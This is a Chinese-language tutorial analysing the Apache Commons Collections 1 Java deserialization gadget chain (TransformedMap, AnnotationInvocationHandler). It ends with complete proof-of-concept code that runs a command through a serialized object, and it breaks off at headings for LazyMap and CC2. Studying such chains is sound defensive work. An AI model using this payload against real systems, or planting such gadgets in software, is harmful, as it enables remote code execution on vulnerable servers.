0x00 前言 Apache Commons
是Apache
软件基金会的项目,Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的Java
代码。
Commons Collections
包为Java
标准的Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
0x01 漏洞分析 Commons Collections 1 利用版本 3.1 <= CommonsCollections
<= 3.2.1
限制 JDK版本:1.7(8u71之后已修复不可利用)
分析 漏洞点:Transformer
接口中InvokerTransformer
类transform()
方法
标准的任意方法调用,方法值 、参数类型 、参数 都是可控的:
方法值:iMethodName
参数类型:iParamTypes
参数:iArgs
对象:input
public Object transform (Object input ) {
if (input == null ) {
return null ;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" );
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" );
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex);
}
}
先尝试执行危险方法transform
:new
一个InvokerTransformer
类,并且调用transform
方法。查看构造函数分别是参数名 、参数类型数组 、参数值数组 ,以及transform
中的对象
public InvokerTransformer (String methodName, Class[] paramTypes, Object [] args ) {
super ();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
InvokerTransformer invokerTransformer = new InvokerTransformer("exec" , new Class[]{String .class}, new Object []{"calc" }).transform(runtime);
代码示例
package com.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class CC1Test {
public static void main (String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException {
Runtime runtime = Runtime.getRuntime();
Class<? extends Runtime> aClass = runtime.getClass();
Class<Runtime> runtimeClass = Runtime.class;
Class.forName("java.lang.Runtime" );
new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc" }).transform(runtime);
}
public static void serialize (Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin" ));
oos.writeObject(obj);
oos.close();
}
public static Object unserialize (String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
逆向查找哪个方法调用了transform
方法
TransformedMap 发现TransformedMap
的checkSetValue
方法调用了transform
方法,而valueTransformer
参数刚好可以通过TransformedMap.decorate(originalMap, null, valueTransformer)
来控制。
public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer ) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer ) {
super (map);
this .keyTransformer = keyTransformer;
this .valueTransformer = valueTransformer;
}
protected Object checkSetValue (Object value ) {
return valueTransformer.transform(value);
}
TransformedMap
直接调用静态方法decorate
,三个参数分别是Map map, Transformer keyTransformer, Transformer valueTransformer
,新建一个map
,第二个参数可为空,第三个参数valueTransformer
会调用transform
方法,将invokerTransformer
赋值给valueTransformer
,即可构造出invokerTransformer.transform(value)
。
InvokerTransformer invokerTransformer = new InvokerTransformer("exec" , new Class [] {String .class }, new Object []{"calc" });
HashMap<Object , Object > map = new HashMap<>();
TransformedMap.decorate(map, null , invokerTransformer);
查找哪里调用了checkSetValue
方法,抽象类AbstractInputCheckedMapDecorator
中MapEntry
类的setValue
方法
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry (Map .Entry entry, AbstractInputCheckedMapDecorator parent ) {
super (entry);
this .parent = parent;
}
public Object setValue (Object value ) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
如果有遍历数组的地方并且最好是readObejct
里调用了setValue
方法,将transformedMap
传入就可以执行后半条链,相当于invokerTransformer .transform(runtime)
InvokerTransformer invokerTransformer = new InvokerTransformer("exec" , new Class[]{String .class}, new Object []{"calc" });
HashMap<Object , Object > map = new HashMap<>();
map.put("key" , "value" );
Map <Object , Object > transformedMap = TransformedMap.decorate(map, null , invokerTransformer);
for (Map .Entry entry : transformedMap.entrySet()) {
entry.setValue(runtime);
}
查找后发现AnnotationInvocationHandler
类readObject
方法中调用了setValue
方法
AnnotationInvocationHandler (Class<? extends Annotation> type , Map <String , Object > memberValues ) {
Class<?>[] superInterfaces = type .getInterfaces();
if (!type .isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0 ] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type." );
this .type = type ;
this .memberValues = memberValues;
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
AnnotationType annotationType = null ;
try {
annotationType = AnnotationType.getInstance(type );
} catch (IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream" );
}
Map <String , Class<?>> memberTypes = annotationType.memberTypes();
for (Map .Entry<String , Object > memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null ) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]" ).setMember(
annotationType.members().get(name)));
}
}
}
}
实例化AnnotationInvocationHandler
类 发现此类没有public
修饰,只有在当前包内才可以访问,使用反射获取类,实例化AnnotationInvocationHandler
时,Object o = annotationInvocationdhdlConStructor.newInstance(Target.class, transformedMap);
,第一个参数为注解类型 Runtime runtime = Runtime.getRuntime();
,Runtime
类不能序列化,需要通过反射构造,Class<Runtime> runtimeClass = Runtime.class;
,因为Class
类继承Serializable
接口,可以序列化
package com.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class CC1Test {
public static void main (String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
Runtime runtime = Runtime.getRuntime();
Class<? extends Runtime> aClass = runtime.getClass();
Class<Runtime> runtimeClass = Runtime.class;
Class.forName("java.lang.Runtime" );
InvokerTransformer invokerTransformer = new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc" });
HashMap<Object, Object> map = new HashMap<>();
map.put("key" , "value" );
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , invokerTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );
Constructor<?> annotationInvocationdhdlConStructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationdhdlConStructor.setAccessible(true );
Object o = annotationInvocationdhdlConStructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin" );
}
public static void serialize (Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin" ));
oos.writeObject(obj);
oos.close();
}
public static Object unserialize (String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
先将反射按照InvokerTransformer.transform
来实现功能,然后发现ChainedTransformer
类中有自循环调用,修改后还是失败,发现问题在AnnotationInvocationHandler
类451
行处,发现memberValue.setValue
方法中的值为AnnotationTypeMismatchExceptionProxy
类型,继续步入setValue
方法 最后回到TransformedMap.checkSetValue
方法,需要控制value
查看ConstantTransformer
类,发现ConstantTransformer.transform
方法,无论接受什么都返回Object
类型的任意值,如new ConstanTransformer(Runtime.class);
1.
Class<Runtime> runtimeClass = Runtime.class;
Method getRuntime = runtimeClass.getMethod("getRuntime" , null );
Runtime runtime = (Runtime) getRuntime.invoke(null , null );
Method exec = runtimeClass.getMethod("exec" , String .class);
exec.invoke(runtime, "calc" );
Method getRuntime = (Method) new InvokerTransformer("getMethod" , new Class[]{String .class, Class[].class}, new Object []{"getRuntime" , null }).transform(Runtime.class);
Runtime runtime = (Runtime) new InvokerTransformer("invoke" , new Class[]{Object .class, Object [].class}, new Object []{null , null }).transform(getRuntime);
new InvokerTransformer("exec" , new Class[]{String .class}, new Object []{"calc" }).transform(runtime);
2.
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod" , new Class[]{String .class, Class[].class}, new Object []{"getRuntime" , null }),
new InvokerTransformer("invoke" , new Class[]{Object .class, Object [].class}, new Object []{null , null }),
new InvokerTransformer("exec" , new Class[]{String .class}, new Object []{"calc" })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
3.
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod" , new Class[]{String .class, Class[].class}, new Object []{"getRuntime" , null }),
new InvokerTransformer("invoke" , new Class[]{Object .class, Object [].class}, new Object []{null , null }),
new InvokerTransformer("exec" , new Class[]{String .class}, new Object []{"calc" })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
package com.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class CC1Test {
public static void main(String [] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod" , new Class[]{String .class, Class[].class}, new Object []{"getRuntime" , null }),
new InvokerTransformer("invoke" , new Class[]{Object .class, Object [].class}, new Object []{null , null }),
new InvokerTransformer("exec" , new Class[]{String .class}, new Object []{"calc" })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object , Object > map = new HashMap<>();
map.put("value" , "value" );
Map <Object , Object > transformedMap = TransformedMap.decorate(map, null , chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );
Constructor<?> annotationInvocationdhdlConStructor = c.getDeclaredConstructor(Class.class, Map .class);
annotationInvocationdhdlConStructor.setAccessible(true );
Object o = annotationInvocationdhdlConStructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin" );
}
public static void serialize(Object object ) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("ser.bin" );
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object );
objectOutputStream.close();
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream(filename);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
return objectInputStream.readObject();
}
}
LazyMap
Commons Collections 2